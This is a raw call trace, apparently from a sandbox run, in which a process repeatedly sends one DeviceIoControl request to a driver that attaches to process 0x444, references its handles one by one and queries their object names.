DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.480] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.480] PsAcquireProcessExitSynchronization () returned 0x0 [0104.480] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.480] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0104.480] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.480] PsReleaseProcessExitSynchronization () returned 0x2 [0104.480] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.480] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.480] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0104.480] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.480] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.480] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.480] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.480] PsAcquireProcessExitSynchronization () returned 0x0 [0104.480] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.480] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0104.480] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.480] PsReleaseProcessExitSynchronization () returned 0x2 [0104.480] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.480] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.480] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0104.480] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.480] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.480] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.481] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.481] PsAcquireProcessExitSynchronization () returned 0x0 [0104.481] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.481] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0104.481] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.481] PsReleaseProcessExitSynchronization () returned 0x2 [0104.481] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.481] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.481] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0104.481] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.481] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.481] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.481] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.481] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.481] PsAcquireProcessExitSynchronization () returned 0x0 [0104.481] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.481] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0104.481] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.481] PsReleaseProcessExitSynchronization () returned 0x2 [0104.481] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.481] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.481] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0104.481] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.481] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.481] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.481] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.481] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.481] PsAcquireProcessExitSynchronization () returned 0x0 [0104.481] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.481] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0104.481] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.482] PsReleaseProcessExitSynchronization () returned 0x2 [0104.482] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.482] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.482] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0104.482] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.482] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.482] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0104.482] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.482] PsAcquireProcessExitSynchronization () returned 0x0 [0104.482] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.482] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0104.482] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.482] PsReleaseProcessExitSynchronization () returned 0x2 [0104.482] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.482] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.482] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0104.482] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.482] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.482] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.482] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.482] PsAcquireProcessExitSynchronization () returned 0x0 [0104.482] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.482] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0104.482] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.482] PsReleaseProcessExitSynchronization () returned 0x2 [0104.482] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.482] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.482] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0104.482] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.483] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.483] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.483] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.483] PsAcquireProcessExitSynchronization () returned 0x0 [0104.483] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.483] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0104.483] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.483] PsReleaseProcessExitSynchronization () returned 0x2 [0104.483] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.483] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.483] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0104.483] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.483] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.483] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.483] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.483] PsAcquireProcessExitSynchronization () returned 0x0 [0104.483] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.483] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0104.483] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.483] PsReleaseProcessExitSynchronization () returned 0x2 [0104.483] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.483] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.483] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0104.483] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.483] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.483] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0104.483] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.484] PsAcquireProcessExitSynchronization () returned 0x0 [0104.484] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.484] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0104.484] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.484] PsReleaseProcessExitSynchronization () returned 0x2 [0104.484] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.484] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.484] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0104.484] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.484] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.484] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x144, lpOverlapped=0x0) returned 1 [0104.484] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.484] PsAcquireProcessExitSynchronization () returned 0x0 [0104.484] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.484] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0104.484] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.484] PsReleaseProcessExitSynchronization () returned 0x2 [0104.484] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.484] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.484] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0104.484] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.484] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.484] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.484] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0104.484] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.484] PsAcquireProcessExitSynchronization () returned 0x0 [0104.484] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.484] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0104.484] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.484] PsReleaseProcessExitSynchronization () returned 0x2 [0104.485] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.485] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.485] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0104.485] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.485] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.485] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.485] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.485] PsAcquireProcessExitSynchronization () returned 0x0 [0104.485] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.485] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0104.485] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.485] PsReleaseProcessExitSynchronization () returned 0x2 [0104.485] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.485] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.485] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0104.485] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.485] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.485] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.485] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.485] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.485] PsAcquireProcessExitSynchronization () returned 0x0 [0104.485] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.485] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0104.485] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.485] PsReleaseProcessExitSynchronization () returned 0x2 [0104.485] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.485] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.485] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0104.485] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.485] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.486] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0104.486] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.486] PsAcquireProcessExitSynchronization () returned 0x0 [0104.486] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.486] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0104.486] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.486] PsReleaseProcessExitSynchronization () returned 0x2 [0104.486] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.486] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.486] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 [0104.486] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.486] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.486] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.486] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.486] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.486] PsAcquireProcessExitSynchronization () returned 0x0 [0104.486] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.486] 